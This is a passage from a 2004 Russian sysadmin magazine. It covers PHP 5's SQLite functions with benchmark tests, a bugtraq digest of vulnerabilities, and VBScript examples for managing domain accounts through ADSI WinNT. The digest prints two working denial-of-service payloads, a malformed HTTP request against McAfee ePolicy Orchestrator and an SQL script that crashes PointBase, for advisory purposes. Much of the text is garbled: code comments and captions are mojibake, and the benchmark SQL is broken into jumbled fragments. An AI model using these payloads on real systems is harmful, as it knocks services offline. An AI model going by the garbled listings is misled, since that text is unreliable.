по сути являющихся одним и тем же, будут создаваться два временных файла, заполняя тем самым дисковое пространство. В заключение лишь хочется сказать, что для достижения действительно высоких результатов стоит принимать во внимание и другие решения, такие как PHP Accelerator или управление кэшированием посредством посылки заголовков HTTP (использование функции header()).
57
web
ИСПОЛЬЗОВАНИЕ SQLITE И PHP 5
ДЕНИС КОЛИСНИЧЕНКО 58
web SQLite – альтернатива MySQL Три наиболее важных фактора веб-проектов – это быстрота, небольшая ресурсоемкость и сравнительно малая себестоимость. Основная масса веб-проектов не располагает ни кластерной архитектурой, ни выделенным сервером баз данных. Под них не закупается дорогостоящее программное обеспечение. Типичный веб-сайт – это нелюбимый пасынок в статье расходов. Наибольшую популярность и распространенность среди веб-разработчиков давно и заслуженно обрел сервер баз данных MySQL. Он бесплатен, прост в установке, входит в состав большинства дистрибутивов Linux, почти наверняка окажется на сервере вашего хостинг-провайдера. Это – рабочая лошадка Web. Долгое время поддержка работы с MySQL была по умолчанию встроена в интерпретатор PHP. Но не все так безоблачно. Сейчас почти повсеместно используется PHP 4-й версии, но не за горами выход следующей, пятой версии. И вот тут ситуация может измениться. Из-за возникающих лицензионных проблем поддержка MySQL скорее всего не будет включена в PHP 5 по умолчанию. Так, из бета-версии PHP 5 уже удалена встроенная поддержка MySQL, зато появилась поддержка SQLite. Замечание: речь идет о встроенной поддержке по умолчанию. Возможность собрать PHP с поддержкой MySQL остается по-прежнему, но требует «дополнительных телодвижений». А это, согласитесь, сделает не каждый. MySQL всегда был ориентирован на быстроту, при этом частично жертвуя дополнительными возможностями. Разумеется, в проектах, предполагающих более сложную структуру базы данных, строгий контроль целостности и сложные запросы к базе данных, стоит использовать более развитые СУБД, например, PostgreSQL или Sybase. Но большинство малых и средних проектов, таких как интернет-каталог, обновляемый прайс-лист или веб-форум, вполне позволяют обойтись компактным, слегка ограниченным, но быстрым сервером баз данных. Традиционно таким сервером и был MySQL. Подойдет ли SQLite в качестве достойной замены? Как любой программный продукт, SQLite обладает своими преимуществами и недостатками. Среди его преимуществ бесплатность и высокая производительность, помните о «трех китах» веб-программирования? Но ничто не дается даром. Производительность SQLite достигается не столько за счет уникального алгоритма, сколько изза определенных ограничений его возможностей. Традиционные системы управления базами данных построены на архитектуре клиент-сервер. Это значит, что клиент-приложение обращается к серверу-хранилищу данных с запросом для получения данных или для выполнения каких-либо операций. Сервер выполняет нужные операции и возвращает программе-клиенту результат своей работы. Такой подход предполагает возможность размещать приложение и хранилище данных на разных компьютерах, разделяя нагрузку на аппаратные ресурсы. В этом смысле SQLite не является настоящим сервером баз данных. То есть он умеет работать только с файловыми базами данных, размещенными в виде файлов на локальном диске вашего компьютера. Для сравнительно небольших проектов это не является критичным, но сни-
№2(15), февраль 2004
жает универсальность решения и лишает нас возможности разделить нагрузку на аппаратные ресурсы между несколькими компьютерами. Перечислю основные характеристики SQLite: ! соответствует стандарту SQL-92. Правда, не полностью: некоторые функции не поддерживаются, но этим «грешил» и MySQL; ! база данных (включая таблицы и индексы) хранится в одном едином файле; ! максимальный размер файла базы данных – 2 Тб, т.е. суммарный размер базы данных, включая таблицы данных и индексы, не может превышать 2 Тб; ! существует реализация для платформ Linux и Windows; ! файлы баз данных имеют универсальный формат и могут быть перенесены из одной операционной системы в другую без потерь и дополнительных преобразований. Т.е. база данных, созданная на компьютере под управлением ОС Linux, может быть просто скопирована на компьютер с ОС Windows и наоборот. Это большой «плюс»; ! примерно в два раза быстрее, чем PostgreSQL и MySQL. Результаты сравнительного тестирования рассмотрим в конце статьи, а пока поговорим об установке и функциональных возможностях SQLite.
Установка SQLite Пятая версия PHP обладает встроенной поддержкой SQLite, поэтому вам не нужно производить никаких дополнительных действий по подключению SQLite к PHP5: просто загрузите SQLite и работайте. Скачать SQLite можно по адресу: ! http://pecl.php.net/package/SQLite ! http://www.sqlite.org/ Поддержка SQLite для Windows реализована традиционно для PHP, в виде единой библиотеки – php_sqlite.dll, скачать которую вы можете по адресу http://snaps.php.net/ win32/PECL_STABLE/php_sqlite.dll Подключение SQLite проблем не вызывает, поэтому подробно останавливаться на нем мы не будем. Если вы работаете под ОС Windows, то скачайте библиотеку php_sqlite.dll, скопируйте в каталог для модулей расширений PHP и «пропишите» его в файле конфигурации php.ini: extension=php_sqlite.dll
Каталог модулей расширений задается директивой «extension_dir» файла конфигурации. php.ini. По умолчанию это подкаталог «extensions» каталога, в который вы установили PHP. Для установки SQLite для Linux скачайте файл sqlite.tar.gz (http://www.sqlite.org/sqlite.tar.gz). Затем выполните следующую последовательность команд: # Ðàñïàêîâûâàåì àðõèâ â êàòàëîã «sqlite» tar xzf sqlite.tar.gz # Ñîçäàåì êàòàëîã äëÿ ñáîðêè SQLite – «bld» mkdir bld # Ïåðåõîäèì â ýòîò êàòàëîã cd bld # Çàïóñêàåì êîíôèãóðàòîð
59
web ../sqlite/configure # Çàïóñêàåì make äëÿ ñáîðêè SQLite make
Указанная последовательность действий необязательна. Например, вам необязательно создавать отдельный каталог для сборки. Однако я настоятельно рекомендую это сделать, чтобы исходные коды не «перемешались» с откомпилированными модулями SQLite. Сценарий конфигуратора configure для своей работы использует autoconf 2.50 и libtool, поэтому проследите, чтобы до запуска конфигуратора эти пакеты были установлены в вашей системе. В процессе работы конфигуратор проверит, установлены ли все необходимые для сборки и работы SQLite библиотеки и программы. Если чего-то не хватает, вы увидите соответствующее сообщение. Если же ваша система соответствует требованиям конфигуратора, предупреждений не появится, и вы можете запускать программу сборки «make». После сборки SQLite запустите сценарий install-sh для установки SQLite, вспомогательных программ и сценариев, а также базы данных. Вспомогательными утилитами являются: ! showdb – утилита для просмотра базы данных; ! showjournal – утилита для просмотра журнала базы данных; ! diffdb – утилита сравнения двух баз данных. Как уже отмечалось, SQLite работает с файловыми базами данных. При этом всю базу данных SQLite хранит в одном файле. В MySQL используется несколько другой подход: база данных – это каталог, содержащий файлы таблиц и индексов.
Основные функции SQLite В SQLite существуют аналогичные MySQL константы, отвечающие за формирование результата выборки из базы данных: ! SQLITE_ASSOC – результат будет возвращаться в виде ассоциативного массива. ! SQL_NUM – результат будет возвращен в виде списка, то есть ключи массива – числа. ! SQL_BOTH – двойное индексирование элементов массива: в зависимости от вашего желания вы можете работать с массивом так, если бы он был ассоциативным, и так, если бы он был списком. Эти константы аналогичны константам MYSQL_ASSOC, MYSQL_BOTH, MYSQL_NUM для MySQL. Вот список основных функций для работы с SQLite, приведенный в алфавитном порядке. ! sqlite_array_query – выполняет SQL-запрос и возвращает результат в виде массива, тип которого задан вышеупомянутыми константами; ! sqlite_busy_timeout – устанавливает тайм-аут; ! sqlite_changes – возвращает число записей, которые были изменены в результате выполнения последнего SQL-запроса; ! sqlite_close – закрывает базу данных; ! sqlite_column – получает одно поле из записи, то есть возвращает одну конкретно указанную колонку результата;
60
! sqlite_current – получает текущую запись из результата; ! sqlite_error_string – возвращает текстовое описание ошибки;
! sqlite_fetch_array – получает следующую запись из массива-результата;
! sqlite_fetch_single – возвращает первую колонку (поле) записи;
! sqlite_fetch_string –псевдоним для sqlite_fetch_single; ! sqlite_field_name – возвращает имя поля; ! sqlite_has_more – позволяет узнать, есть ли еще записи; ! sqlite_last_error – возвращает код последней ошибки; ! sqlite_last_insert_rowid – возвращает идентификатор последней добавленной записи;
! sqlite_libversion – возвращает версию SQLite; ! sqlite_next – переходит к следующей записи; ! sqlite_num_fields – возвращает число полей (колонок) в результате;
! sqlite_num_rows – возвращает число записей в результате;
! sqlite_open – открывает базу данных; ! sqlite_popen – открывает «постоянное» соединение с ! !
базой данных. Если база данных не существует, она будет создана; sqlite_query – выполняет SQL-запрос и возвращает идентификатор результата; sqlite_rewind – переходит к первой записи. Остановимся на этих функциях подробнее.
Открытие и закрытие базы данных Для открытия базы данных используется функция sqlite_open(): resource sqlite_open ( string filename [, int mode ↵ [, string &error_message]])
Первый параметр – это имя файла таблицы, второй – режим доступа к таблице. По умолчанию используется режим 0666, позволяющий читать и записывать файл всем желающим – владельцу (то есть вам), вашей группе и всем остальным пользователям. Последний параметр – это строка, в которую будет записано сообщение об ошибке, если базу данных невозможно открыть. В случае успеха функция возвращает дескриптор базы данных, иначе – значение FALSE («ложь»). Для того чтобы закрыть базу данных, используется функция sqlite_close(): sqlite_close( resource dbhandle )
В качестве её аргумента следует указать дескриптор соответствующей базы данных. Замечание: несмотря на то, что механизм работы предполагает автоматическое закрытие используемых ресурсов после выполнения сценария, принудительное закрытие базы данных – хороший тон программирования. Не следует пренебрегать этой операцией. Автоматическая «сборка мусора» и закрытие ресурсов могут произойти не сразу. Это может породить некоторые неожиданные коллизии, которые довольно сложно будет отлавливать.
web Исключение – использование постоянного соединения с базой данных. Еще один способ получить доступ к базе данных – функция sqlite_popen(): resource sqlite_popen ( string filename [, int mode ↵ [, string &error_message]])
Эта функция открывает «постоянное» соединение с базой данных, её аргументы аналогичны аргументам функции sqlite_open(). Функция sqlite_popen() использует механизм постоянных ресурсов PHP. Вкратце это выглядит так: вы открываете постоянное соединение с базой данных, работаете, потом работа сценария завершается. При этом если вы не указали принудительно, закрытия и освобождения ресурса не происходит. То есть, при следующем запуске сценария функция popen() попытается найти открытое постоянное соединение и, если оно существует, будет его использовать, а не открывать базу данных заново. При частых запусках сценария это позволяет повысить его производительность, так не тратится время на открытие базы. Однако при большом количестве одновременных обращений к базе данных взамен этой экономии вы можете получить накопление открытых соединений с базой данных, т.е. увеличить нагрузку на внешние ресурсы системы. Второй неприятный момент, с которым вы можете тут столкнуться – некорректное завершение сценария, при котором могут оставаться потерянные соединения с базой данных. В общем, выбор между этими двумя способами требует вдумчивого подхода и некоторого анализа предполагаемой работы вашего приложения.
Выполнение запросов Для выполнения запросов к базе данных используется функция sqlite_query(): resource sqlite_query ( resource dbhandle, ↵ string query [,int result_type]) resource sqlite_query ( string query, ↵ resource dbhandle [,int result_type])
Обратите внимание, что функцию можно вызывать двояко: или сначала указывать дескриптор базы данных, а потом – SQL-запрос или наоборот. Кроме того, этой функции можно непосредственно указать необязательный параметр, определяющий тип возвращаемого результата в виде ассоциативного, нумерованного или смешанного массива. Ëèñòèíã 1. Îòêðûòèå è çàêðûòèå áàçû äàííûõ <?php // îòêðûâàåì áàçó äàííûõ èëè çàâåðøàåì // âûïîëíåíèå ñ ñîîáùåíèåì îá îøèáêå if ( !$db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) { die ($sqliteerror); } // ñîçäàåì òàáëèöó tbl sqlite_query($db,'CREATE TABLE tbl (bar varchar(20))'); // äîáàâëÿåì â òàáëèöó íîâûå çàïèñè sqlite_query($db,"INSERT INTO tbl VALUES ('val')"); // ïîëó÷àåì ðåçóëüòàò â âèäå àññîöèàòèâíîãî ìàññèâà $result = sqlite_query($db,'select bar from tbl', SQLITE_ASSOC); // âûâîäèì ðåçóëüòàò var_dump(sqlite_fetch_array($result)); ?>
№2(15), февраль 2004
Если запрос невозможно выполнить, функция sqlite_query() возвращает FALSE.
Функции для работы с результатом Функция sqlite_column() используется для получения только одной колонки из всего результата выборки: mixed sqlite_column ( resource result, ↵ mixed index_or_name [, bool decode_binary])
Первый параметр – это результат, второй – имя поля или индекс, а третий параметр указывает на необходимость двоичного кодирования. Функция sqlite_fetch_single() возвращает первое поле текущей записи: string sqlite_fetch_single ( resource result ↵ [, int result_type [, bool decode_binary]])
Первый параметр – это результат, а второй – тип результата. Данная функция похожа на функцию sqlite_fetch_array(), но возвращает только первое поле, а не все поля текущей записи сразу. Ëèñòèíã 2. Ôóíêöèÿ sqlite_fetch_single <?php if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) { $sql = "SELECT id FROM tbl WHERE id = 77"; $res = sqlite_query($dbhandle, $sql); if (sqlite_num_rows($res) > 0) { // ïå÷àòàåì çíà÷åíèå «77» echo sqlite_fetch_single($res); } sqlite_close($dbhandle); } ?>
Функция sqlite_array_query() выполняет SQL-запрос и возвращает результат в виде массива: array sqlite_array_query ( resource dbhandle, ↵ string query [, int result_type [, bool decode_binary]])
Первый параметр – это дескриптор базы данных, второй – запрос, третий – тип результата (см. константы SQLite), а третий – это флаг кодирования данных. Функция sqlite_next() перемещает указатель результата на следующую запись: bool sqlite_next ( resource result)
Параметр result – это результат. Если функция вернула FALSE, значит, достигнута последняя запись. Функция sqlite_rewind перемещает указатель результата на первую запись: bool sqlite_rewind ( resource result)
Функция sqlite_seek() переходит к записи с указанным номером: bool sqlite_seek ( resource result, int rownum)
Если функция возвращает FALSE, значит, нет записи с таким номером.
61
web Информационные функции Функция sqlite_changes() возвращает число записей, которые были изменены в результате выполнения последнего SQL-запроса: int sqlite_changes ( resource dbhandle)
INSERT INTO t1 VALUES(2,75560,'seventy five thousand ↵ five hundred sixty'); ... 995 ñòðîê ïðîïóùåíî INSERT INTO t1 VALUES(998,66289,'sixty six thousand ↵ two hundred eighty nine'); INSERT INTO t1 VALUES(999,24322,'twenty four thousand ↵ three hundred twenty two'); INSERT INTO t1 VALUES(1000,94142,'ninety four thousand ↵ one hundred forty two');
Функция sqlite_field_name() возвращает имя поля по его номеру: string sqlite_field_name ( resource result, int field_index)
Функция sqlite_has_more() возвращает TRUE, если результат еще содержит данные, иначе возвращается FALSE: bool sqlite_has_more ( resource result)
Функция sqlite_last_error() возвращает код последней ошибки:
Äèàãðàììà 1: Ðåçóëüòàòû ïåðâîãî òåñòà (â ñåêóíäàõ)
Второй тест – выборка без индексов: int sqlite_last_error ( resource dbhandle)
а функция sqlite_error_string() – ее текстовое описание: string sqlite_error_string( resource dbhandle )
BEGIN; SELECT count(*), avg(b) SELECT count(*), avg(b) ... 96 ñòðîê ïðîïóùåíî SELECT count(*), avg(b) SELECT count(*), avg(b) COMMIT;
FROM t2 WHERE b>=0 AND b FROM t2 WHERE b>=100 AND b FROM t2 WHERE b>=9800 AND b FROM t2 WHERE b>=9900 AND b
Функции sqlite_num_rows() и sqlite_num_fields() возвращают, соответственно, число записей и полей в результате: int sqlite_num_rows(resource dbhandle) int sqlite_num_fields(resource dbhandle)
Другие функции Функция sqlite_busy_timeout() позволяет установить таймаут ожидания для базы данных: void sqlite_busy_timeout ( resource dbhandle, int milliseconds)
Напомню, что 1 секунда – это 1000 миллисекунд.
Результаты сравнительного тестирования В первой части статьи, говоря об основных характеристиках SQLite, я упомянул о том, что SQLite в два раза быстрее PostgreSQL и MySQL. Чтобы не быть голословным, приведу результаты тестирования. В качестве тестовой платформы использовался компьютер следующей конфигурации: ! процессор – AMD 1.6 ГГц Athlon; ! объем оперативной памяти – 1 Гб; ! жесткий диск EIDE; ! операционная система – Red Hat Linux 7.2.
Äèàãðàììà 2: Ðåçóëüòàòû âòîðîãî òåñòà
Третий тест – выборка со сравнением строки: BEGIN; SELECT count(*), avg(b) FROM t2 WHERE SELECT count(*), avg(b) FROM t2 WHERE ... 96 ñòðîê ïðîïóùåíî SELECT count(*), avg(b) FROM t2 WHERE c SELECT count(*), avg(b) FROM t2 WHERE c COMMIT;
c LIKE '%one%'; c LIKE '%two%'; LIKE '%ninety nine%'; LIKE '%one hundred%';
Для сравнения использовались PostgreSQL версии 7.1.3 и MySQL версии 3.23.41. Версия SQLite, используемая для тестирования, – 2.7.6. Первый тест – вставка 1000 записей: CREATE TABLE t1(a INTEGER, b INTEGER, c VARCHAR(100)); INSERT INTO t1 VALUES(1,13153,'thirteen thousand ↵ one hundred fifty three');
62
Äèàãðàììà 3: Ðåçóëüòàòû òðåòüåãî òåñòà
web Как вы видите, при использовании простых запросов SQLite ненамного ушел от MySQL. Он существенно быстрее, чем PostgreSQL, но сильная сторона последнего не быстродействие, а большие функциональные возможности. А теперь попробуем оправдать наши ожидания и показать, что SQLite быстрее в два раза, чем MySQL. В качестве тестового используем запрос, состоящий из 25 000 операторов обновления (UPDATE): Четвертый тест – обновление числовых полей: BEGIN; UPDATE t2 UPDATE t2 ... 24996 UPDATE t2 UPDATE t2 COMMIT;
SET b=468026 WHERE a=1; SET b=121928 WHERE a=2; ñòðîê ïðîïóùåíî SET b=35065 WHERE a=24999; SET b=347393 WHERE a=25000;
MySQL, то на этот раз SQLite оказался «проворнее» почти в три раза (2,899). Приведем общую таблицу результатов тестирования, для того чтобы более наглядно оценить производительность SQLite. Òàáëèöà 1. Îáùàÿ òàáëèöà ðåçóëüòàòîâ ñðàâíèòåëüíîãî òåñòèðîâàíèÿ SQLite
Более подробно о сравнительных результатах тестирования вы можете прочитать на сайте продукта: http:// www.sqlite.org. Конечно, переход на SQLite потребует некоторых усилий и изменений. Придется отказаться от автоматического инкремента при создании таблиц, возможности сложного индексирования здесь также не предусмотрены. Но в целом, исключив автоматическую поддержку работы с MySQL, разработчики PHP предоставили нам взамен простой, быстрый и бесплатный механизм для работы с локальными базами данных в файловом представлении.
Äèàãðàììà 4: Ðåçóëüòàòû ÷åòâåðòîãî òåñòà
Вот тут преимущество SQLite налицо! Этот тест обновлял только целые поля. Согласитесь – действие несколько надуманное и не такое уж частое. Посмотрим, что будет, если нам нужно обновить 25 000 текстовых полей: Пятый тест – обновление тестовых полей: BEGIN; UPDATE t2 SET c='one hundred forty eight thousand ↵ three hundred eighty two' WHERE a=1; UPDATE t2 SET c='three hundred sixty six thousand ↵ five hundred two' WHERE a=2; ... 24996 ñòðîê ïðîïóùåíî UPDATE t2 SET c='three hundred eighty three thousand ↵ ninety nine' WHERE a=24999; UPDATE t2 SET c='two hundred fifty six thousand ↵ eight hundred thirty' WHERE a=25000; COMMIT;
Äèàãðàììà 5: Ðåçóëüòàò ïÿòîãî òåñòà
Если сравнивать с предыдущим тестом, в котором SQLite проявил себя «шустрее» в 2,6 раза по сравнению с
№2(15), февраль 2004
63
bugtraq Уязвимость в Check Point FireWall-1/VPN-1 при обработке H.323 сообщений
Выполнение произвольного кода в директориях в Windows XP Explorer
Программа: Check Point FireWall-1/VPN-1 NG. Опасность: Средняя. Описание: Уязвимость обнаружена в Check Point FireWall1/VPN-1 обработке H.323 сообщений. Воздействие уязвимости не раскрывается. Сообщается, что Check Point FireWall-1 и VPN-1 уязвимы к H.323 тестам безопасности, недавно выпущенными NISCC: http://www.uniras.gov.uk/vuls/2004/006489/h323.htm. Check Point не сообщает дополнительные подробности обнаруженной уязвимости. Согласно сообщению, VPN-1 обрабатывает H.323 сообщения по умолчанию, а FireWall-1 нет. URL производителя: http://www.checkpoint.com/techsupport/ alerts/h323.html Решение: Установите H.323 обновление: http://www.checkpoint.com/techsupport/h323_hf.html
Программа: Windows XP Explorer. Опасность: Высокая. Описание: Уязвимость обнаружена в Microsoft Windows XP в Windows Explorer. Удаленный пользователь может сконструировать директорию, которая, когда будет просмотрена целевым пользователем, выполнит произвольный код на системе пользователя. Удаленный пользователь может сконструировать специально обработанную «директорию», которая включает HTML-код сценария и исполняемый Windows-файл. Когда целевой пользователь пытается просмотреть содержание «директории», произвольный код будет автоматически выполнен на целевом компьютере пользователя с привилегиями текущего пользователя. URL производителя: http://www.Microsoft.com Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
Удаленнное переполнение буфера в Serv-U FTP-сервере Программа: Serv-U FTP Server до версии 4.2. Опасность: Средняя. Описание: Переполнение стекового буфера обнаружено в Serv-U FTP-сервере. Удаленный пользователь может получить привилегии на системе. Удаленный авторизованный пользователь с доступом на запись, может использовать команду «site chmod» со специально обработанным именем файла, чтобы вызвать переполнение буфера и выполнить произвольный код на целевой системе. Код будет выполнен с привилегиями Serv-U-процесса. URL производителя: http://www.serv-u.com/ Решение: Обновите версию до Serv-U FTP Server 5.0
Удаленный отказ в обслуживании против McAfee ePolicy Orchestrator Программа: McAfee ePolicy Orchestrator. Опасность: Средняя. Описание: Уязвимость обнаружена в McAfee ePolicy Orchestrator. Удаленный пользователь может аварийно завершить работу агента. Удаленный пользователь может представить отрицательное значение параметра ContentLength, чтобы вызвать переполнение буфера и аварийно завершить работу целевого агента. POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0 Accept: application/octet-stream Accept-Language: en-us Content-Type: application/octet-stream User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows) Host: KILL_EPO Content-Length: -1 Connection: Keep-Alive
URL производителя: http://www.nai.com/us/products/mcafee/ antivirus/fileserver/epo.htm Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
64
DoS против базы данных PointBase Программа: PointBase 4.6. Опасность: Средняя. Описание: Уязвимость обнаружена в базе данных PointBase. Удаленный пользователь может аварийно завершить работу целевой системы, на которой запущен PointBase. В конфигурации по умолчанию PointBase на все jarфайлы установлены все разрешения. В результате удаленный пользователь может представить специально обработанную PointBase команду, чтобы завершить работу основной виртуальной Java-машины. Пример/Эксплоит: .(.!-- pointbase denial-of-service by marc schoenefeld --".). .(.project default="dos".). .(.property name="host" value="192.168.0.7"/.). .(.target name="dos".). .(.sql driver="com.pointbase.jdbc.jdbcUniversalDriver" url="jdbc:pointbase://${host}:9092/sample" userid="pbpublic" password="pbpublic" print="true" .). .(.![CDATA[ //DROP FUNCTION CRASH5(VARCHAR(20)); CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20) LANGUAGE JAVA NO SQL EXTERNAL NAME "sun.misc.MessageUtils::toStderr" PARAMETER STYLE SQL; SELECT CRASH5(null) from SYSUSERS; ]].). .(.classpath.). .(.pathelement location="pbclient.jar"/.). .(./classpath.). .(./sql.). .(./target.). .(./project.).
URL производителя: http://www.pointbase.com/node.shtml?navHier=Products/Products+Overview&CF=products/ overview.jsp Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время. Cоставил Александр Антипов
образование
ПРОГРАММНОЕ УПРАВЛЕНИЕ ADSI: WinNT В предыдущей статье были рассмотрены теоретические аспекты построения Active Directory и проведен обзор доступных провайдеров, с помощью которых можно программно управлять Active Directory. Одним из таких провайдеров является WinNT, основы программирования которого будут рассмотрены в данной статье.
ИВАН КОРОБКО Объектная модель провайдера WinNT Рассмотрим программное управление ADSI с помощью провайдера WinNT, с помощью которого осуществляется доступ к классам. Каждый класс содержит один или несколько подклассов. Объектная модель протокола WinNT, в которой перечислены только классы, приведена на рисунке 1.
Доступ к провайдеру WinNT осуществляется по одному из шаблонов: 1) Название класса содержится в запросе. С помощью функции GetObject формируется запрос, который включает в себя четыре параметра: название протокола – WinNT, имя домена – DomainName, рабочей станции – ComputerName, название объекта – ObjectName, название класса – ClassName. В этом случае доступ к подклассам осуществляется с помощью цикла For. На VBScript в общем виде запрос выглядит следующим образом: Ïðèìåð 1à) Set obj=GetObject("WinNT://" & DomainName & "/" & ↵ ComputerName & "/" & ObjectName & "," & ClassName). For Each element In obj element.value Next
Параметры ComputerName и ObjectName могут отсутствовать в том случае, если осуществляется поиск объектов. Ðèñóíîê 1
Доступ к объектам по протоколу WinNT описывается запросом, имеющим вид: WinNT:[//DomainName[/ComputerName[/ObjectName[,ClassName]]]]
66
2) Подключение к классу с помощью фильтра. Метод по своей сути аналогичен предыдущему. Такой способ доступа к данным позволяет значительно увеличить скорость исполнения скрипта.
образование Ïðèìåð 1á) Set obj = GetObject("WinNT://" & DomainName) obj.Filter = Array("user") For Each element In obj element.value Next
Соответствия классов и подклассов приведено в таблице 2: Òàáëèöà 2
Приведем два примера: в первом примере будет осуществляться поиск объектов класса и вывод свойств этих объектов, во втором – чтение и вывод свойств заданного объекта. В первом примере с помощью скрипта на VBScript будут определены учетные записи пользователей домена и прочитаны их имена: Ïðèìåð 2à). Ïåðâûé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëè strDomain="MyDomain" Set Computer =GetObject("WinNT://" & strDomain & ",user") For Each User in Computer users_d=users_d & " "& User.Name & chr(13) Next Wsh.Echo users_d Ïðèìåð 2á) Âòîðîé ñïîñîá
äîñòóïà ê îáúåêòíîé ìîäåëè
strDomain="MyDomain" Set Computer =GetObject("WinNT://" & strDomain) Computer.Filter = Array("user") For Each User in Computer users_d=users_d & " "& User.Name & chr(13) Next Wsh.Echo users_d
Во втором примере явным образом задается имя пользователя и осуществляется чтение его свойств: Ïðèìåð 3a). Ïåðâûé ñïîñîá
äîñòóïà ê îáúåêòíîé ìîäåëè
strDomain="MyDomain" strUser="MyUserName" Set Computer =GetObject("WinNT://" & strDomain & "/" ↵ & strUser & ",user") users_d= User.Name & chr(13) Wsh.Echo users_d Ïðèìåð 3á). Âòîðîé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëè strDomain="MyDomain" Set Computer =GetObject("WinNT://" & strDomain) Computer.Filter = Array("user") For Each User in Computer users_d= User.Name & chr(13) Next Wsh.Echo users_d
Чтобы эффективно пользоваться объектной моделью, необходимо знать назначение классов, какие они включают в себя подклассы и какие параметры имеют подклассы. Назначение и название каждого класса приведено в таблице 1: Òàáëèöà 1
Из объектной модели протокола WinNT видно, что в пространстве имен NameSpace существует всего два класса: Domain и Computer. Рассмотрим каждый из этих классов в отдельности.
Класс Domain Определение доступных доменов Класс Domain является верхним уровнем пространства имен, поэтому для определения доступных доменов в функции GetObject() ограничиваются название протокола. Необходимо помнить, что название протокола должно быть написано именно WinNT – в противном случае сценарий выдаст ошибку: Ïðèìåð 4 Set obj=GetObject("WinNT:") For Each element In obj temp=element.Name Next MsgBox temp
Чтение параметров класса Domain Класс Domain включает в себя восемь параметров. Все эти параметры задаются в групповых политиках, за исключением параметра Name. Описание параметров см. в Приложении. При создании скрипта на VBScript необходимо помнить, что VBScript не преобразует типы данных автоматически, поэтому числовые данные необходимо преобразовывать в строковые с помощью функции cstr(). Ïðèìåð 5. ×òåíèå âñåõ ïîëåé êëàññà Computer Set obj=GetObject("WinNT:") For Each element In obj t1="Name: " + cstr(element.Name)+chr(13) t2="MinPasswordLength: "+ ↵ cstr(element.MinPasswordLength)+chr(13) t3="MinPasswordAge: " + cstr(element.MinPasswordAge)+chr(13) t4="MaxBadPasswordsAllowed: "+ ↵ cstr(element.MaxBadPasswordsAllowed)+chr(13) t5="AutoUnlockInterval: " + ↵ cstr(element.AutoUnlockInterval)+chr(13) t6="LockoutObservationInterval: " + ↵ cstr(element.LockoutObservationInterval) temp=temp+t1+t2+t3+t4+t5+t6+chr(13)+chr(13)
№2(15), февраль 2004
67
образование Next MsgBox temp
Ïðèìåð 8: Îïðåäåëåíèå âñåõ ó÷åòíûõ çàïèñåé ïîëüçîâàòåëåé, âõîäÿùèõ â äîìåí Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) obj.filter=array("user") For Each element In obj temp =temp+element.name+"; " Next
Создание, переименование и удаление объектов в домене Значения MinPasswordAge и MaxPasswordAge указываются в групповых политиках в днях, поэтому необходим перевод в дни, для чего полученное число необходимо разделить на 86400; значения MinPasswordAge и LockoutObservationInterval указываются в групповых политиках в минутах, поэтому полученные значения необходимо разделить на 60.
Обновление параметров класса Domain Установка новых параметров перечисленных значений осуществляется с помощью метода SetInfo. Ïðèìåð 6. Èçìåíåíèå çíà÷åíèÿ ìèíèìàëüíîé äëèíû ïàðîëÿ â äîìåíà (NewLenght=10) NewLenght=10 Set obj=GetObject("WinNT:") For Each element In obj element.MinPasswordLength= NewLenght obj.SetInfo temp ="NEW: MinPasswordLength: "+ ↵ cstr(element.MinPasswordLength)+chr(13) Next MsgBox temp
Перечисление объектов класса Domain Просмотр содержимого контейнера осуществляется с помощью конструкции For в соответствии с приведенным ниже шаблоном. В качестве значения переменной Container может быть имя домена или компьютера: Ïðèìåð 7 Container="Value" Set obj=GetObject("WinNT://"& Container) For Each element In obj temp = temp + element.name + "; " Next MsgBox temp
Такой метод перечисления объектов будет возвращать все содержимое любой базы SAM – контроллера домена, сервера или рабочей станции. В приведенном примере возвращались объекты всех классов, содержащиеся в домене (или в локальной базе SAM), поскольку тип объектов не определялся. Поскольку в домене огромное количество объектов, для увеличения скорости работы скрипта целесообразно использовать фильтр. Фильтр может в себя включать следующие объекты: Òàáëèöà 3
68
В Active Directory существует три типа встроенных объектов: учетная запись пользователя; группа, которая может быть локальной или глобальной; учетная запись компьютера. С учетной записью пользователя можно проделывать следующие операции: создавать, удалять, переименовывать; группу можно создавать и удалять; учетную запись компьютера можно создавать и удалять.
Создание объектов Создание учетной записи пользователя осуществляется с помощью функции Create(). Приведем пример, в котором создается учетная запись пользователя с именем UserName. При создании скрипта манипуляции с паролем и другими параметрами учетной записи должны производиться, когда учетная запись существует, т.е. после применения метода: SetInfo. Ïðèìåð 9 Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) NewUser="UserName" Set CU=obj.Create("User",NewUser) CU.SetInfo
Создание учетной записи группы отличается тем, что необходимо указать тип группы с помощью функции Put(). Локальной группе соответствует значение «4», глобальной – «2». Ïðèìåð 10. Ñîçäàíèÿ ëîêàëüíîé ãðóïïû ñ èìåíåì GroupName Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) NewGroup="GroupName" Set CG=obj.Create("Group",NewGroup) CG.Put "groupType", 4 CG.SetInfo
Создание учетной записи компьютера аналогично созданию учетной записи пользователя, за исключением следующего: ! объект должен быть создан с использованием класса computer; ! у объекта должен быть установлен пользовательский флаг Ошибка! Недопустимый объект гиперссылки. (см. раздел «Манипулирование пользовательскими флагами функцией UserFlags»);
